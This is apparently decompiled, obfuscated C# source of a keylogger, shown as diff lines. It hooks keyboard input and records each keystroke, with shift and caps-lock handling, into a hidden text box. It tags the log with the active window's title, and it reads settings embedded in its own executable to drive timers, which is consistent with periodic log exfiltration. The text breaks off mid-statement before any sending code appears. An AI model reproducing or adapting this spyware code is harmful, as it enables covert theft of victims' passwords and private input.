[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - \u0003.\u0002.\u0001.\u0003 obj = new \u0003.\u0002.\u0001.\u0003(this.\u0002); - if (this.\u0001 != null) - \u0003.\u0002.\u0001.KD -= obj; - this.\u0001 = value; - if (this.\u0001 == null) - return; - \u0003.\u0002.\u0001.KD += obj; - } - } - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string \u0002() - { - string lpString = new string(char.MinValue, 100); - \u0003.\u0002.\u0002(\u0003.\u0002.\u0002(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public void \u0002(Keys Key) - { - if (!\u0001.Computer.Keyboard.ShiftKeyDown & !\u0001.Computer.Keyboard.CapsLock) - { - if (Key == Keys.A) - this.TextBox1.Text += "a"; - else if (Key == Keys.B) - this.TextBox1.Text += "b"; - else if (Key == Keys.C) - this.TextBox1.Text += "c"; - else if (Key == Keys.D) - this.TextBox1.Text += "d"; - else if (Key == Keys.E) - this.TextBox1.Text += "e"; - else if (Key == Keys.F) - this.TextBox1.Text += "f"; - else if (Key == Keys.G) - this.TextBox1.Text += "g"; - else if (Key == Keys.H) - this.TextBox1.Text += "h"; - else if (Key == Keys.I) - this.TextBox1.Text += "i"; - else if (Key == Keys.J) - this.TextBox1.Text += "j"; - else if (Key == Keys.K) - this.TextBox1.Text += "k"; - else if (Key == Keys.L) - this.TextBox1.Text += "l"; - else if (Key == Keys.M) - this.TextBox1.Text += "m"; - else if (Key == Keys.N) - this.TextBox1.Text += "n"; - else if (Key == Keys.O) - this.TextBox1.Text += "o"; - else if (Key == Keys.P) - this.TextBox1.Text += "p"; - else if (Key == Keys.Q) - this.TextBox1.Text += "q"; - else if (Key == Keys.R) - this.TextBox1.Text += "r"; - else if (Key == Keys.S) - this.TextBox1.Text += "s"; - else if (Key == Keys.T) - this.TextBox1.Text += "t"; - else if (Key == Keys.U) - this.TextBox1.Text += "u"; - else if (Key == Keys.V) - this.TextBox1.Text += "v"; - else if (Key == Keys.W) - this.TextBox1.Text += "w"; - else if (Key == Keys.X) - this.TextBox1.Text += "x"; - else if (Key == Keys.Y) - this.TextBox1.Text += "y"; - else if (Key == Keys.Z) - this.TextBox1.Text += "z"; - else if (Key == Keys.D0) - this.TextBox1.Text += "0"; - else if (Key == Keys.D1) - this.TextBox1.Text += "1"; - else if (Key == Keys.D2) - this.TextBox1.Text += "2"; - else if (Key == Keys.D3) - this.TextBox1.Text += "3"; - else if (Key == Keys.D4) - this.TextBox1.Text += "4"; - else if (Key == Keys.D5) - this.TextBox1.Text += "5"; - else if (Key == Keys.D6) - this.TextBox1.Text += "6"; - else if (Key == Keys.D7) - this.TextBox1.Text += "7"; - else if (Key == Keys.D8) - this.TextBox1.Text += "8"; - else if (Key == Keys.D9) - this.TextBox1.Text += "9"; - else if (Key == Keys.NumPad0) - this.TextBox1.Text += "0"; - else if (Key == Keys.NumPad1) - this.TextBox1.Text += "1"; - else if (Key == Keys.NumPad2) - this.TextBox1.Text += "2"; - else if (Key == Keys.NumPad3) - this.TextBox1.Text += "3"; - else if (Key == Keys.NumPad4) - this.TextBox1.Text += "4"; - else if (Key == Keys.NumPad5) - this.TextBox1.Text += "5"; - else if (Key == Keys.NumPad6) - this.TextBox1.Text += "6"; - else if (Key == Keys.NumPad7) - this.TextBox1.Text += "7"; - else if (Key == Keys.NumPad8) - this.TextBox1.Text += "8"; - else if (Key == Keys.NumPad9) - this.TextBox1.Text += "9"; - else if (Key == Keys.Oemcomma) - this.TextBox1.Text += ","; - else if (Key == Keys.OemMinus) - this.TextBox1.Text += "-"; - else if (Key == Keys.OemQuotes) - this.TextBox1.Text += "'"; - else if (Key == Keys.OemOpenBrackets) - this.TextBox1.Text += "["; - else if (Key == Keys.Back) - this.TextBox1.Text += "[BACK]"; - else if (Key == Keys.OemCloseBrackets) - this.TextBox1.Text += "]"; - else if (Key == Keys.OemQuestion) - this.TextBox1.Text += "/"; - else if (Key == Keys.OemPipe) - this.TextBox1.Text += "\\"; - else if (Key == Keys.OemSemicolon) - this.TextBox1.Text += ";"; - else if (Key == Keys.OemPeriod) - this.TextBox1.Text += "."; - else if (Key == Keys.Oemtilde) - this.TextBox1.Text += "`"; - else if (Key == Keys.Space) - this.TextBox1.Text += " "; - else if (Key == Keys.Return) - this.TextBox1.Text += "\r\n"; - else if (Key == Keys.F1) - this.TextBox1.Text += "[F1]"; - else if (Key == Keys.F2) - this.TextBox1.Text += "[F2]"; - else if (Key == Keys.F3) - this.TextBox1.Text += "[F3]"; - else if (Key == Keys.F4) - this.TextBox1.Text += "[F4]"; - else if (Key == Keys.F5) - this.TextBox1.Text += "[F5]"; - else if (Key == Keys.F6) - this.TextBox1.Text += "[F6]"; - else if (Key == Keys.F7) - this.TextBox1.Text += "[F7]"; - else if (Key == Keys.F8) - this.TextBox1.Text += "[F8]"; - else if (Key == Keys.F9) - this.TextBox1.Text += "[F9]"; - else if (Key == Keys.F10) - this.TextBox1.Text += "[F10]"; - else if (Key == Keys.F11) - this.TextBox1.Text += "[F11]"; - else if (Key == Keys.F12) - this.TextBox1.Text += "[F12]"; - else if (Key == Keys.Delete) - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - else if (Key == Keys.Back) - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - else if (Key == Keys.Down) - this.TextBox1.Text += "?"; - else if (Key == Keys.Up) - this.TextBox1.Text += "?"; - else if (Key == Keys.Left) - this.TextBox1.Text += "?"; - else if (Key == Keys.Right) - this.TextBox1.Text += "?"; - else if (Key == Keys.Tab) - this.TextBox1.Text += "[TAB]"; - else if (Key == Keys.End) - this.TextBox1.Text += "[END]"; - else if (Key == Keys.Escape) - this.TextBox1.Text += "[ESC]"; - else if (Key == Keys.Divide) - this.TextBox1.Text += "/"; - else if (Key == Keys.Decimal) - this.TextBox1.Text += "."; - else if (Key == Keys.Subtract) - this.TextBox1.Text += "-"; - else if (Key == Keys.Add) - { - this.TextBox1.Text += "+"; - } - else - { - if (Key != Keys.Multiply) - return; - this.TextBox1.Text += "*"; - } - } - else if (!\u0001.Computer.Keyboard.ShiftKeyDown & \u0001.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.NumPad0: - this.TextBox1.Text += "0"; - break; - case Keys.NumPad1: - this.TextBox1.Text += "1"; - break; - case Keys.NumPad2: - this.TextBox1.Text += "2"; - break; - case Keys.NumPad3: - this.TextBox1.Text += "3"; - break; - case Keys.NumPad4: - this.TextBox1.Text += "4"; - break; - case Keys.NumPad5: - this.TextBox1.Text += "5"; - break; - case Keys.NumPad6: - this.TextBox1.Text += "6"; - break; - case Keys.NumPad7: - this.TextBox1.Text += "7"; - break; - case Keys.NumPad8: - this.TextBox1.Text += "8"; - break; - case Keys.NumPad9: - this.TextBox1.Text += "9"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (\u0001.Computer.Keyboard.ShiftKeyDown & \u0001.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += ")"; - break; - case Keys.D1: - this.TextBox1.Text += "!"; - break; - case Keys.D2: - this.TextBox1.Text += "@"; - break; - case Keys.D3: - this.TextBox1.Text += "#"; - break; - case Keys.D4: - this.TextBox1.Text += "$"; - break; - case Keys.D5: - this.TextBox1.Text += "%"; - break; - case Keys.D6: - this.TextBox1.Text += "^"; - break; - case Keys.D7: - this.TextBox1.Text += "&"; - break; - case Keys.D8: - this.TextBox1.Text += "*"; - break; - case Keys.D9: - this.TextBox1.Text += "("; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ":"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += "<"; - break; - case Keys.OemMinus: - this.TextBox1.Text += "_"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += ">"; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "?"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "~"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "{"; - break; - case Keys.OemPipe: - this.TextBox1.Text += "|"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "}"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (!\u0001.Computer.Keyboard.ShiftKeyDown & \u0001.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "a"; - break; - case Keys.B: - this.TextBox1.Text += "b"; - break; - case Keys.C: - this.TextBox1.Text += "c"; - break; - case Keys.D: - this.TextBox1.Text += "d"; - break; - case Keys.E: - this.TextBox1.Text += "e"; - break; - case Keys.F: - this.TextBox1.Text += "f"; - break; - case Keys.G: - this.TextBox1.Text += "g"; - break; - case Keys.H: - this.TextBox1.Text += "h"; - break; - case Keys.I: - this.TextBox1.Text += "i"; - break; - case Keys.J: - this.TextBox1.Text += "j"; - break; - case Keys.K: - this.TextBox1.Text += "k"; - break; - case Keys.L: - this.TextBox1.Text += "l"; - break; - case Keys.M: - this.TextBox1.Text += "m"; - break; - case Keys.N: - this.TextBox1.Text += "n"; - break; - case Keys.O: - this.TextBox1.Text += "o"; - break; - case Keys.P: - this.TextBox1.Text += "p"; - break; - case Keys.Q: - this.TextBox1.Text += "q"; - break; - case Keys.R: - this.TextBox1.Text += "r"; - break; - case Keys.S: - this.TextBox1.Text += "s"; - break; - case Keys.T: - this.TextBox1.Text += "t"; - break; - case Keys.U: - this.TextBox1.Text += "u"; - break; - case Keys.V: - this.TextBox1.Text += "v"; - break; - case Keys.W: - this.TextBox1.Text += "w"; - break; - case Keys.X: - this.TextBox1.Text += "x"; - break; - case Keys.Y: - this.TextBox1.Text += "y"; - break; - case Keys.Z: - this.TextBox1.Text += "z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else - { - if (!(\u0001.Computer.Keyboard.ShiftKeyDown & !\u0001.Computer.Keyboard.CapsLock)) - return; - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += ")"; - break; - case Keys.D1: - this.TextBox1.Text += "!"; - break; - case Keys.D2: - this.TextBox1.Text += "@"; - break; - case Keys.D3: - this.TextBox1.Text += "#"; - break; - case Keys.D4: - this.TextBox1.Text += "$"; - break; - case Keys.D5: - this.TextBox1.Text += "%"; - break; - case Keys.D6: - this.TextBox1.Text += "^"; - break; - case Keys.D7: - this.TextBox1.Text += "&"; - break; - case Keys.D8: - this.TextBox1.Text += "*"; - break; - case Keys.D9: - this.TextBox1.Text += "("; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ":"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += "<"; - break; - case Keys.OemMinus: - this.TextBox1.Text += "_"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += ">"; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "?"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "~"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "{"; - break; - case Keys.OemPipe: - this.TextBox1.Text += "|"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "}"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - } - - private void \u0003(object sender, EventArgs e) - { - if (Operators.CompareString(this.\u0089, this.\u0002(), false) == 0) - return; - this.TextBox1.Text = this.TextBox1.Text + "\r\n[" + this.\u0002() + "]:\r\n"; - this.\u0089 = this.\u0002(); - } - - private void \u0004(object sender, EventArgs e) - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0003 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0004 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0005 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0006 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0007 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0008 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001C = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001D = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0010 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0082 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0011 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0012 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0013 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0014 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0015 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0016 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0017 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0018 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0019 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001A = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001B = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u007F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0080 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0081 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0083 = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0002); - FileSystem.FileGet(1, ref this.\u0004); - FileSystem.FileGet(1, ref this.\u0005); - FileSystem.FileGet(1, ref this.\u0006); - FileSystem.FileGet(1, ref this.\u0007); - FileSystem.FileGet(1, ref this.\u0008); - FileSystem.FileGet(1, ref this.\u001C); - FileSystem.FileGet(1, ref this.\u001D); - FileSystem.FileGet(1, ref this.\u001E); - FileSystem.FileGet(1, ref this.\u001F); - FileSystem.FileGet(1, ref this.\u000E); - FileSystem.FileGet(1, ref this.\u000F); - FileSystem.FileGet(1, ref this.\u0010); - FileSystem.FileGet(1, ref this.\u0082); - FileSystem.FileGet(1, ref this.\u0011); - FileSystem.FileGet(1, ref this.\u0012); - FileSystem.FileGet(1, ref this.\u0013); - FileSystem.FileGet(1, ref this.\u0014); - FileSystem.FileGet(1, ref this.\u0015); - FileSystem.FileGet(1, ref this.\u0016); - FileSystem.FileGet(1, ref this.\u0017); - FileSystem.FileGet(1, ref this.\u0018); - FileSystem.FileGet(1, ref this.\u0019); - FileSystem.FileGet(1, ref this.\u001A); - FileSystem.FileGet(1, ref this.\u001B); - FileSystem.FileGet(1, ref this.\u007F); - FileSystem.FileGet(1, ref this.\u0080); - FileSystem.FileGet(1, ref this.\u0081); - FileSystem.FileGet(1, ref this.\u0083); - FileSystem.FileClose(1); - this.\u0001 = Strings.Split(this.\u0001, "@JTR"); - this.TextBox2.Text = this.\u0001[1]; - this.TextBox3.Text = this.\u0001[2]; - this.TextBox4.Text = Conversions.ToString(Convert.ToInt32(this.\u0001[3])); - this.Timer1.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer3.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer4.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer5.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer1.Start(); - this.Timer2.Start(); - if 